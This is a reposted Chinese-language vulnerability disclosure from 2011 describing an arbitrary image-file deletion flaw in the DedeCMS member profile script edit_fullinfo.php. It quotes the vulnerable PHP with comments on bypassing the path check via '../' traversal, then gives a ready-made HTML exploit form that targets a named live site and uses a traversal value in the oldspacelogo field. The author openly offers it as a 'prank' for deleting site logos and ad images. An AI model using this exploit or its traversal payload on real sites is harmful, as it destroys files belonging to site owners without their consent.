您的位置:首页 > 其它

DEDECMS 会员任意删除文件漏洞

2011-01-27 15:47 369 查看
发布日期:2011-01.25
发布作者:心灵

影响版本:DEDECMS
官方网站:http://www.dedecms.com

漏洞类型:设计缺陷
漏洞描述:

edit_fullinfo.php

if($dopost=='save') //edit_fullinfo.php?dopost=save 就来到这步了 { $oldspacelogo=(empty($oldspacelogo))? "" : $oldspacelogo; //没有做任何过滤 $spacelogo=(empty($spacelogo))? "" : $spacelogo; $pagesize=(empty($pagesize))? "" : $pagesize; $sign=(empty($sign))? "" : $sign; $spacenews =(empty($spacenews))? "" : $spacenews; $spacename =(empty($spacename))? "" : $spacename; $maxlength = $cfg_max_face * 1024; $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID; //$userdir就是当前用户ID的图片文件夹 例如 uploads/userup/4/ if(!ereg('^'.$userdir, $oldspacelogo)) //这里绕过简单得很 uploads/userup/4/../../../ 既可绕过 { $oldspacelogo = ''; } if(is_uploaded_file($spacelogo)) //这里要一定随便一个文件图片文件上传 { if(@filesize($_FILES['spacelogo']['tmp_name']) > $maxlength) { howMsg("你上传的Logo文件超过了系统限制大小:{$cfg_max_face} K!", '-1'); exit(); } //这里是检测图片大小 你找一个1KB的就行了 //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) 这短话是官方留下的 if(eregi("/.(jpg|gif|png)$", $oldspacelogo) && file_exists($cfg_basedir.$oldspacelogo)) { //由于这里不能被绕过 所以只能删除网站所有的JPG GIF PNG这样后缀的文件 所以才叫恶作剧 @unlink($cfg_basedir.$oldspacelogo) } EXP

<form id="frmUpload" enctype="multipart/form-data" action="http://www.t00ls.net/member/edit_space_info.php" method="post" name="spacelogo"> Upload a new file: <input type="file" name="spacelogo" size="50" id="spacelogo" value="spacelogo"> <label> <input name="dopost" type="text" value="save" /> </label> <label> <input name="oldspacelogo" type="text" value="/uploads/userup/111/../../../sb/11.jpg" /> //uploads/userup/111/ 这个路径自己上传一张图片后就能获得 /sb/11.jpg 为要删除图片的路径 这里很简单 不明白的拿块豆腐砸死自己自杀把 </label> <label> <input name="spacename" type="text" value="t00ls" /> </label> <label> <input name="pagesize" type="text" value="10" /> </label> <input id="spacelogo" type="submit" value="Upload" > </form> 哈 这样就能删除网站任何的JPG GIF PNG格式文件 恶作剧就是把LOGO删除了 或者某些广告图片删除 等管理员模糊
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: